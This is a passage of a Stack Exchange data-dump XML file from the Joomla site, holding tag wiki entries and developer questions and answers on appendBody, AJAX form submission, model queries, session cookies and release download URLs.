  <row Id="29190" PostTypeId="4" CreationDate="2021-05-21T14:03:25.650" Score="0" Body="The router creates and interprets nice Search Engine Friendly URLs " OwnerUserId="13472" LastEditorUserId="13472" LastEditDate="2021-05-21T14:03:25.650" LastActivityDate="2021-05-21T14:03:25.650" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="29191" PostTypeId="5" CreationDate="2021-05-21T14:07:55.040" Score="0" Body="&lt;p&gt;SSL stands for Secure Sockets Layer which is a cryptographic protocol to encrypt communication (web server, email etc). It's deprecated and followed up by Transport Layer Security (TLS).&lt;/p&gt;&#xA;" OwnerUserId="13472" LastEditorUserId="13472" LastEditDate="2021-05-21T14:07:55.040" LastActivityDate="2021-05-21T14:07:55.040" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="29192" PostTypeId="4" CreationDate="2021-05-21T14:07:55.040" Score="0" Body="SSL is the old name for TLS, a security protocol that makes encrypted communication via https possible." OwnerUserId="13472" LastEditorUserId="13472" LastEditDate="2021-05-21T14:07:55.040" LastActivityDate="2021-05-21T14:07:55.040" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="29193" PostTypeId="1" CreationDate="2021-05-21T19:29:01.573" Score="1" ViewCount="209" Body="&lt;p&gt;I'm trying to understand &lt;code&gt;appendBody&lt;/code&gt;&lt;/p&gt;&#xA;&lt;p&gt;First of all append would seem like it comes after the &lt;code&gt;&amp;lt;/body&amp;gt;&lt;/code&gt; but I assume it can only mean after the contents of the body.  And prepend before the contents of the body not before &lt;code&gt;&amp;lt;body&amp;gt;&lt;/code&gt; e.g. in the head.&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://api.joomla.org/cms-3/classes/JResponse.html#method_appendBody&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://api.joomla.org/cms-3/classes/JResponse.html#method_appendBody&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;My code looks like this:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;use Joomla\CMS\Application\WebApplication;&#xA;&#xA;$thingToAppend = &amp;quot;&amp;lt;div&amp;gt;I am Eoin&amp;lt;/div&amp;gt;&amp;quot;;&#xA;appendBody::_($thingToAppend);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;But when I use it I receive this error.&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;Error: Class 'appendBody' not found: Class 'appendBody' not found&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;What am I doing wrong?&lt;/p&gt;&#xA;&lt;p&gt;After Mick's advice I tried:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;WebApplication::appendBody($callpage_io__script);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;But I got using $this when not in object context&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;So then I tried&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$callpage_io__script = &amp;quot;&amp;lt;div&amp;gt;I am Eoin&amp;lt;/div&amp;gt;&amp;quot;;&#xA;$appendBody = new WebApplication;&#xA;$appendBody-&amp;gt;appendBody($callpage_io__script);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Which did not error, but also did not produce any HTML&lt;/p&gt;&#xA;" OwnerUserId="7164" LastEditorUserId="7164" LastEditDate="2021-05-22T13:33:21.300" LastActivityDate="2021-05-24T07:33:43.547" Title="What is the correct way to use appendBody" Tags="|joomla-api|" AnswerCount="1" CommentCount="7" ContentLicense="CC BY-SA 4.0" />
  <row Id="29194" PostTypeId="2" ParentId="28670" CreationDate="2021-05-21T19:31:54.697" Score="2" Body="&lt;p&gt;Presently in Joomla! 3 you cannot do that.  Although TechJoomla have an API that you could use. &lt;a href=&quot;https://techjoomla.com/rest-api-for-joomla&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://techjoomla.com/rest-api-for-joomla&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;In Joomla! 4 you can use the inbuilt API as seen on this video: &lt;a href=&quot;https://www.youtube.com/watch?v=lT9qodsvfZg&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.youtube.com/watch?v=lT9qodsvfZg&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;I gave a bit of a fuller answer on another post:&#xA;&lt;a href=&quot;https://joomla.stackexchange.com/questions/25059/crawling-joomla-websites-without-parsing-websites-html/29195#29195&quot;&gt;Crawling Joomla websites without parsing website&amp;#39;s html&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="7164" LastEditorUserId="7164" LastEditDate="2021-05-22T11:08:32.743" LastActivityDate="2021-05-22T11:08:32.743" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="29195" PostTypeId="2" ParentId="25059" CreationDate="2021-05-21T19:37:21.930" Score="1" Body="&lt;h1&gt;Joomla 3&lt;/h1&gt;&#xA;&lt;p&gt;There are a few existing places to get an API for Joomla! 3.&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://techjoomla.com/rest-api-for-joomla&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://techjoomla.com/rest-api-for-joomla&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://www.selfget.com/products/jbackend.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.selfget.com/products/jbackend.html&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;h1&gt;Joomla 4&lt;/h1&gt;&#xA;&lt;p&gt;Or in Joomla! 4 is a full API&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://www.joomdev.com/blog/entry/joomla-4-api-introduction&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.joomdev.com/blog/entry/joomla-4-api-introduction&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://docs.joomla.org/Joomla_Api_Specification&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://docs.joomla.org/Joomla_Api_Specification&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://magazine.joomla.org/all-issues/august-2020/joomla-web-services-api-101-tokens,-testing-and-a-taste-test&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://magazine.joomla.org/all-issues/august-2020/joomla-web-services-api-101-tokens,-testing-and-a-taste-test&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;And here's a video &lt;a href=&quot;https://www.youtube.com/watch?v=lT9qodsvfZg&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.youtube.com/watch?v=lT9qodsvfZg&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="7164" LastActivityDate="2021-05-21T19:37:21.930" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="29196" PostTypeId="2" ParentId="28650" CreationDate="2021-05-21T19:43:02.403" Score="1" Body="&lt;p&gt;I tried this before too.  But there is no need to do a &lt;code&gt;content.prepare&lt;/code&gt; because we can simply create a module position instead.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;// Load the namespacing for Factory (the new way instead of JFactory)&#xA;use Joomla\CMS\Factory;&#xA;&#xA;// Load the module position&#xA;&amp;lt;?php echo Factory::getApplication()-&amp;gt;getDocument()-&amp;gt;loadRenderer('modules')-&amp;gt;render(&amp;quot;logo&amp;quot;); ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;In this instance the module position will be called &amp;quot;logo&amp;quot; but you can call it anything you want.  In one case I used a subform to dynamically create module positions on the fly within another module.&lt;/p&gt;&#xA;" OwnerUserId="7164" LastActivityDate="2021-05-21T19:43:02.403" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="29197" PostTypeId="1" AcceptedAnswerId="29198" CreationDate="2021-05-22T09:37:49.753" Score="1" ViewCount="257" Body="&lt;p&gt;How to get the formDate in the controller?&lt;/p&gt;&#xA;&lt;p&gt;my HTML&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;form id=&amp;quot;myform&amp;quot; &amp;gt;&#xA;    &amp;lt;input type=&amp;quot;number&amp;quot; name=&amp;quot;jform[option][1]&amp;quot;&amp;gt;&#xA;    &amp;lt;input type=&amp;quot;number&amp;quot; name=&amp;quot;jform[option][2]&amp;quot;&amp;gt;&#xA;&amp;lt;/form&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;my js&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;var form     = document.getElementById('myform'),&#xA;    formData = new FormData(form);&#xA;&#xA;var xhr = new XMLHttpRequest();&#xA;xhr.open('GET', window.location.pathname+'?option=com_mycomp&amp;amp;task=view.mytask&amp;amp;id=567&amp;amp;'+Joomla.getOptions('csrf.token')+'=1', true);&#xA;            &#xA;xhr.setRequestHeader('Content-Type', 'application/json; charset=utf-8');&#xA;//xhr.setRequestHeader('Content-Type', 'x-www-form-urlencoded');&#xA;xhr.setRequestHeader('Cache-Control', 'no-cache');&#xA;            &#xA;xhr.send(formData);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Method in controller&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;public function mytask() &#xA;{&#xA;    Session::checkToken('get') or die();&#xA;    &#xA;    $app    = Factory::getApplication();&#xA;    $id= $app-&amp;gt;input-&amp;gt;get('id', '0', 'INTEGER'); // it exists&#xA;        &#xA;    $form = $app-&amp;gt;input-&amp;gt;get('jform', array(), 'ARRAY'); // it doesn't exist&#xA;    &#xA;    exit;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="13776" LastEditorUserId="13776" LastEditDate="2021-05-22T09:44:33.497" LastActivityDate="2021-05-22T11:25:02.263" Title="Submitting a form in pure JS" Tags="|php|javascript|ajax|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="29198" PostTypeId="2" ParentId="29197" CreationDate="2021-05-22T11:25:02.263" Score="1" Body="&lt;p&gt;I finally solved this problem by simply removing the headers from the request.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;var form     = document.getElementById('myform'),&#xA;    formData = new FormData(form);&#xA;&#xA;var xhr = new XMLHttpRequest();&#xA;xhr.open('GET', window.location.pathname+'?option=com_mycomp&amp;amp;task=view.mytask&amp;amp;id=567&amp;amp;'+Joomla.getOptions('csrf.token')+'=1', true);&#xA;            &#xA;xhr.setRequestHeader('Content-Type', 'application/json; charset=utf-8'); // REMOVED!&#xA;xhr.setRequestHeader('Cache-Control', 'no-cache');  // REMOVED!&#xA;            &#xA;xhr.send(formData);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;&lt;strong&gt;Now I get the form array as expected!&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;And similarly can be done with jQuery:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;var form     = document.getElementById('myform'),&#xA;    formData = new FormData(form);&#xA;&#xA;jQuery.ajax({&#xA;    timeout: 6000,&#xA;    url: window.location.pathname+'?option=com_mycomp&amp;amp;task=view.mytask&amp;amp;id=567&amp;amp;'+Joomla.getOptions('csrf.token')+'=1',&#xA;    data: formData,&#xA;    type: 'post',&#xA;    processData: false,&#xA;    contentType: false,&#xA;    dataType: 'json',&#xA;    async: true,&#xA;    success:function(result) {console.log(result)}&#xA;});&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="13776" LastActivityDate="2021-05-22T11:25:02.263" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="29199" PostTypeId="1" CreationDate="2021-05-22T15:17:00.037" Score="1" ViewCount="151" Body="&lt;p&gt;So I have a query in the getlistquery method of my model, except that it relies on data in another table, that sometimes is not filled. This gives me an error when that other data is not available.&lt;/p&gt;&#xA;&lt;p&gt;But it seems that the getlistquery must return a query, I tried to use the return false but that does not work. Do I need to move that code to another method? Like getItems?&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;protected function getListQuery()&#xA;{&#xA;    &#xA;    $user = Factory::getUser();&#xA;    $db = $this-&amp;gt;getDbo();&#xA;    $query = $db&#xA;        -&amp;gt;getQuery(true)&#xA;        -&amp;gt;select('*')&#xA;        -&amp;gt;from($db-&amp;gt;quoteName('#__table_profile'))&#xA;        -&amp;gt;where($db-&amp;gt;quoteName('user_id') . &amp;quot; = &amp;quot; . $db-&amp;gt;quote($user-&amp;gt;id));&#xA;&#xA;    $db-&amp;gt;setQuery($query);&#xA;    $result = $db-&amp;gt;loadAssoc();&#xA;&#xA;    //no user profile available, return false&#xA;    if(!$result) return false;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;But now I get the following error: u have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'LIMIT 0, 20' at line 1&lt;/p&gt;&#xA;&lt;p&gt;Probably because I don't return a query and now it is not complete.&lt;/p&gt;&#xA;" OwnerUserId="5642" LastActivityDate="2022-10-23T00:26:34.113" Title="Getlistquery Joomla conditional values" Tags="|joomla-3.x|component|" AnswerCount="2" CommentCount="6" ContentLicense="CC BY-SA 4.0" />
  <row Id="29200" PostTypeId="1" CreationDate="2021-05-22T23:04:34.623" Score="1" ViewCount="58" Body="&lt;p&gt;I've been having this strange issue. I transferred my site to a different hostname and now when I open site's pages while being logged in Admin panel of Joomla, it logs me out right away. But only in the same browser. Also I've noticed that when I'm using that particular site, each opened page adds a new line in db's &amp;quot;session&amp;quot; table (under user0) Other sites just add one single line (user0) and that's it (in addition to admin's name when I'm also logged in into Joomla backend simultaneously) Other sites that reside side by side (virtual hosts) are fine on the same physical computer within the same OS (which is Ubuntu 16.04 in my case).&lt;/p&gt;&#xA;" OwnerUserId="11321" LastActivityDate="2024-02-08T14:04:10.543" Title="Joomla admin session ends prematurely" Tags="|joomla-3.x|apache|cookies|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="29201" PostTypeId="2" ParentId="29200" CreationDate="2021-05-24T07:07:38.593" Score="0" Body="&lt;p&gt;This sounds like a cookie domain issue. Open the &lt;strong&gt;configuration.php&lt;/strong&gt; file located at the root of your site and clear the values for &lt;code&gt;$cookie_domain&lt;/code&gt; and &lt;code&gt;$cookie_path&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;public $cookie_domain = '';&#xA;public $cookie_path = '';&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Next, close your browser to end the existing sessions. Now try again.&lt;/p&gt;&#xA;&lt;p&gt;&lt;em&gt;&lt;strong&gt;Note:&lt;/strong&gt; configuration.php normally has read-only file permission. So change the file permission before making the changes.&lt;/em&gt;&lt;/p&gt;&#xA;" OwnerUserId="6945" LastActivityDate="2021-05-24T07:07:38.593" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="29202" PostTypeId="2" ParentId="29193" CreationDate="2021-05-24T07:33:43.547" Score="1" Body="&lt;p&gt;First of all, please note that &lt;code&gt;JResponse::appendBody()&lt;/code&gt; is a depreciated method.&lt;/p&gt;&#xA;&lt;p&gt;If you still want to use it, you can call it in a system plugin against the &lt;code&gt;onAfterRender&lt;/code&gt; event.&lt;/p&gt;&#xA;&lt;p&gt;Here is an example -&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;defined('_JEXEC') or die;&#xA;&#xA;class PlgSystemMyPlugin extends JPlugin&#xA;{&#xA;    /**&#xA;     * Application object.&#xA;     *&#xA;     * @var    JApplicationCms&#xA;     */&#xA;    protected $app;&#xA;    &#xA;    &#xA;    public function onAfterRender()&#xA;    {&#xA;        if (!$this-&amp;gt;app-&amp;gt;isClient('site'))&#xA;        {&#xA;            return;&#xA;        }&#xA;        &#xA;        $this-&amp;gt;app-&amp;gt;appendBody('&amp;lt;div&amp;gt;I am Eoin&amp;lt;/div&amp;gt;');&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;This will add the &amp;quot;I am Eoin&amp;quot; string at end of the body i.e. after the  tag.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;!DOCTYPE html&amp;gt;&#xA;&amp;lt;html lang=&amp;quot;en-gb&amp;quot; dir=&amp;quot;ltr&amp;quot;&amp;gt;&#xA;&amp;lt;head&amp;gt;&#xA;&#xA;&amp;lt;/head&amp;gt;&#xA;&amp;lt;body&amp;gt;&#xA;&#xA;&amp;lt;/body&amp;gt;&#xA;&amp;lt;/html&amp;gt;&amp;lt;div&amp;gt;I am Eoin&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;If you want to append your string before the  closing tag then you need to use a custom plugin with the following codes -&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;defined('_JEXEC') or die;&#xA;&#xA;class PlgSystemMyPlugin extends JPlugin&#xA;{&#xA;    /**&#xA;     * Application object.&#xA;     *&#xA;     * @var    JApplicationCms&#xA;     */&#xA;    protected $app;&#xA;    &#xA;    &#xA;    public function onAfterRender()&#xA;    {&#xA;        $doc = $this-&amp;gt;app-&amp;gt;getDocument();&#xA;        &#xA;        if (!$this-&amp;gt;app-&amp;gt;isClient('site') || $doc-&amp;gt;getType() !== 'html')&#xA;        {&#xA;            return;&#xA;        }&#xA;        &#xA;        $buffer        = $this-&amp;gt;app-&amp;gt;getBody();&#xA;        $thingToAppend = '&amp;lt;div&amp;gt;I am Eoin&amp;lt;/div&amp;gt;';&#xA;        $buffer        = str_replace('&amp;lt;/body&amp;gt;', $thingToAppend . '&amp;lt;/body&amp;gt;', $buffer);&#xA;        &#xA;        // Use the replaced HTML body.&#xA;        $this-&amp;gt;app-&amp;gt;setBody($buffer);&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="6945" LastActivityDate="2021-05-24T07:33:43.547" CommentCount="10" ContentLicense="CC BY-SA 4.0" />
  <row Id="29205" PostTypeId="1" AcceptedAnswerId="29207" CreationDate="2021-05-25T08:17:14.623" Score="2" ViewCount="62" Body="&lt;p&gt;What's the URL of the xml including latest full stable Joomla packages?&#xA;I have found this one (&lt;a href=&quot;https://update.joomla.org/core/sts/extension_sts.xml&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://update.joomla.org/core/sts/extension_sts.xml&lt;/a&gt;) but there's only updates packages.&lt;br /&gt;&#xA;&lt;br /&gt;&#xA;I need to get the download link, like the current one:&#xA;&lt;code&gt;https://downloads.joomla.org/cms/joomla3/3-9-26/Joomla_3.9.26-Stable-Full_Package.zip&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="15283" LastActivityDate="2021-05-25T12:33:47.010" Title="XML full stable Joomla package location?" Tags="|installation|xml|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="29206" PostTypeId="2" ParentId="29205" CreationDate="2021-05-25T09:24:26.157" Score="1" Body="&lt;p&gt;You can find the Latest Joomla! Release here: &lt;a href=&quot;https://downloads.joomla.org/latest&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://downloads.joomla.org/latest&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="13472" LastActivityDate="2021-05-25T09:24:26.157" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="29207" PostTypeId="2" ParentId="29205" CreationDate="2021-05-25T12:27:20.073" Score="1" Body="&lt;p&gt;I couldn't find a simple link for you to use, but if you visit- &lt;a href=&quot;https://api.github.com/repos/joomla/joomla-cms/releases&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://api.github.com/repos/joomla/joomla-cms/releases&lt;/a&gt; the url returns json containing information on joomla releases.&lt;/p&gt;&#xA;&lt;p&gt;From there you go through the json looking for &lt;code&gt;draft=false&lt;/code&gt; and &lt;code&gt;prerelease=false&lt;/code&gt; to find the stable releases. The releases are ordered from newest to oldest.&lt;/p&gt;&#xA;&lt;p&gt;You can get tarball and zipball urls from the json, but it probably isn't what you are after. Instead once you find the latest release, you go to the url section and follow the link.&lt;/p&gt;&#xA;&lt;p&gt;For example,&lt;/p&gt;&#xA;&lt;p&gt;&lt;code&gt;url: &amp;quot;https://api.github.com/repos/joomla/joomla-cms/releases/41360248&amp;quot;&lt;/code&gt;&lt;/p&gt;&#xA;&lt;p&gt;Once the link is loaded, parse the contents looking for any &lt;code&gt;browser_download_url&lt;/code&gt; that doesn't contain patch in the url.&lt;/p&gt;&#xA;&lt;p&gt;For example,&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;browser_download_url: &amp;quot;https://github.com/joomla/joomla-cms/releases/download/3.9.26/Joomla_3.9.26-Stable-Full_Package.zip&amp;quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;It's all a bit complicated, but it should yield you with a download url for the latest joomla version .... I hope!&lt;/p&gt;&#xA;" OwnerUserId="115" LastEditorUserId="115" LastEditDate="2021-05-25T12:33:47.010" LastActivityDate="2021-05-25T12:33:47.010" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="29208" PostTypeId="5" CreationDate="2021-05-25T13:43:16.237" Score="0" Body="&lt;p&gt;The Alias is automatically created upon safe of article, category, menu item etc and used to create Search Friendly URLs.&lt;/p&gt;&#xA;" OwnerUserId="13472" LastEditorUserId="13472" LastEditDate="2021-05-25T13:43:16.237" LastActivityDate="2021-05-25T13:43:16.237" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="29209" PostTypeId="4" CreationDate="2021-05-25T13:43:16.237" Score="0" Body="Joomla uses the Alias to create Search Friendly URLs" OwnerUserId="13472" LastEditorUserId="13472" LastEditDate="2021-05-25T13:43:16.237" LastActivityDate="2021-05-25T13:43:16.237" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="29210" PostTypeId="5" CreationDate="2021-05-25T13:43:54.220" Score="0" Body="&lt;p&gt;A sub menu is a menu item that is nested under another menu item that is called parent item&lt;/p&gt;&#xA;" OwnerUserId="13472" LastEditorUserId="13472" LastEditDate="2021-05-25T13:43:54.220" LastActivityDate="2021-05-25T13:43:54.220" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="29211" PostTypeId="4" CreationDate="2021-05-25T13:43:54.220" Score="0" Body="A submenu is a menu item that is nested under another menu item" OwnerUserId="13472" LastEditorUserId="13472" LastEditDate="2021-05-25T13:43:54.220" LastActivityDate="2021-05-25T13:43:54.220" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="29212" PostTypeId="5" CreationDate="2021-05-25T13:46:48.367" Score="0" Body="&lt;p&gt;Joomla uses the JSON notation in some of its database fields (like params) to store multiple key/value pairs.&lt;/p&gt;&#xA;" OwnerUserId="13472" LastEditorUserId="13472" LastEditDate="2021-05-25T13:46:48.367" LastActivityDate="2021-05-25T13:46:48.367" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="29213" PostTypeId="4" CreationDate="2021-05-25T13:46:48.367" Score="0" Body="json is an abbreviation of JavaScript Object Notation. It's a lightweight data-interchange format." OwnerUserId="13472" LastEditorUserId="13472" LastEditDate="2021-05-25T13:46:48.367" LastActivityDate="2021-05-25T13:46:48.367" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="29214" PostTypeId="5" CreationDate="2021-05-25T13:49:05.657" Score="0" Body="&lt;p&gt;Fabrik is an open source application development, form and database management component.&lt;/p&gt;&#xA;" OwnerUserId="13472" LastEditorUserId="13472" LastEditDate="2021-05-25T13:49:05.657" LastActivityDate="2021-05-25T13:49:05.657" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="29215" PostTypeId="4" CreationDate="2021-05-25T13:49:05.657" Score="0" Body="a non-core extension that can be used to create applications" OwnerUserId="13472" LastEditorUserId="13472" LastEditDate="2021-05-25T13:49:05.657" LastActivityDate="2021-05-25T13:49:05.657" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="29216" PostTypeId="5" CreationDate="2021-05-25T13:50:25.803" Score="0" Body="&lt;p&gt;JomSocial is a 3rd party community extension&lt;/p&gt;&#xA;" OwnerUserId="13472" LastEditorUserId="13472" LastEditDate="2021-05-25T13:50:25.803" LastActivityDate="2021-05-25T13:50:25.803" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="29217" PostTypeId="4" CreationDate="2021-05-25T13:50:25.803" Score="0" Body="is a non-core social networking component" OwnerUserId="13472" LastEditorUserId="13472" LastEditDate="2021-05-25T13:50:25.803" LastActivityDate="2021-05-25T13:50:25.803" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="29218" PostTypeId="5" CreationDate="2021-05-25T13:52:07.167" Score="0" Body="&lt;p&gt;For questions regarding the Model in the Model-View-Controller pattern used by Joomla. See also: &lt;a href=&quot;https://docs.joomla.org/Model-View-Controller/en&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://docs.joomla.org/Model-View-Controller/en&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="13472" LastEditorUserId="13472" LastEditDate="2021-05-25T13:52:07.167" LastActivityDate="2021-05-25T13:52:07.167" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="29219" PostTypeId="4" CreationDate="2021-05-25T13:52:07.167" Score="0" Body="jmodel is the old name for Joomla's Model" OwnerUserId="13472" LastEditorUserId="13472" LastEditDate="2021-05-25T13:52:07.167" LastActivityDate="2021-05-25T13:52:07.167" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="29220" PostTypeId="1" CreationDate="2021-05-25T14:23:51.130" Score="0" ViewCount="212" Body="&lt;p&gt;I'm trying to develop a simple chat for my website, I tried with ajax first but then I was recommended to develop it using Socket.IO instead, I saw their demo and everything looks great, I have my website and server all set up with cPanel, the only issue I have is getting started, looking at their documentation it seems I need to install node.js first and then I can run Socket.IO. Could you give me some guidance?&lt;/p&gt;&#xA;" OwnerUserId="15314" LastActivityDate="2021-05-25T14:23:51.130" Title="Installing Node.JS and Socket.IO in Joomla" Tags="|php|javascript|" AnswerCount="0" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="29221" PostTypeId="1" CreationDate="2021-05-25T14:53:26.353" Score="0" ViewCount="44" Body="&lt;p&gt;I am currently using joomla 3. I have a scenario where by content has to go through approval before it is published&lt;/p&gt;&#xA;" OwnerUserId="15315" LastActivityDate="2021-05-25T14:53:26.353" Title="Content approval before publishing in joomla 3" Tags="|joomla-3.x|php|" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="29222" PostTypeId="1" CreationDate="2021-05-26T11:33:07.173" Score="1" ViewCount="1516" Body="&lt;p&gt;I need to get data from another model than the view specific controller/model into the view. But I'm not sure if the way I'm doing it now is correct.&lt;/p&gt;&#xA;&lt;p&gt;I do that via the following way in the view.html.php file:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;JModelLegacy::addIncludePath(JPATH_SITE . DIRECTORY_SEPARATOR . 'components' . DIRECTORY_SEPARATOR . 'com_mycomponent' . DIRECTORY_SEPARATOR . 'models');&#xA;&#xA;//get instance of model class, where class name will be fooModelBar&#xA;$model = JModelLegacy::getInstance('Messages', 'MyModel');&#xA;&#xA;//call model method&#xA;$this-&amp;gt;messages = $model-&amp;gt;getData();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;But I have a feeling this is not the &amp;quot;correct&amp;quot; way to handle things. Can anyone educate me where I actually have to put this code? I know I am probably not doing it correctly by adding the model to the view.html.php file, but I am a bit confused where I need to add it. I tried adding a display() method to the profile controller but that didn't do anything.&lt;/p&gt;&#xA;" OwnerUserId="5642" LastEditorUserId="5642" LastEditDate="2021-05-26T12:58:38.233" LastActivityDate="2021-05-27T11:50:06.400" Title="Best practices for Joomla - Get another model in a view from another controller" Tags="|joomla-3.x|component|custom-component|best-practices|" AnswerCount="2" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="29223" PostTypeId="2" ParentId="29222" CreationDate="2021-05-26T14:57:56.540" Score="1" Body="&lt;pre&gt;&lt;code&gt;$model     = $this-&amp;gt;getModel('name');&#xA;$getMethod = $model-&amp;gt;myFunction($someParams);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="13776" LastActivityDate="2021-05-26T14:57:56.540" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="29224" PostTypeId="1" CreationDate="2021-05-26T20:48:31.610" Score="3" ViewCount="181" Body="&lt;p&gt;I'm trying to figure out how to add/extend the &amp;quot;Filter&amp;quot; options for a Custom Field. I first started looking to see if I could figure out where I could add my own filter to the list of options for the &amp;quot;Text&amp;quot; Custom Field. The options RAW, SafeHTML, Text, Alpha Numeric, Integer, Telephone etc are not ideal for my use case. Unable to see how I could extend the existing Text type of Custom Field filters, I figured I'd try creating my own Custom Field plugin, so I did that and basically duplicated the Text Custom Field plugin. However I'm still unable to make my custom field plugin come with my own special filter. I can't seem to figure out where the logic for this is handled. I'm able to add my own filter option in the custom field plugin XML file but that's as far as I got.&lt;/p&gt;&#xA;&lt;p&gt;I'm technically wanting something like a REGEX choice where I can be very specific as to what is allowed and stripped out when saved. Even if I was to hard code the REGEX in the filter code if it was too complicated for it to be user set when configuring the custom field would be 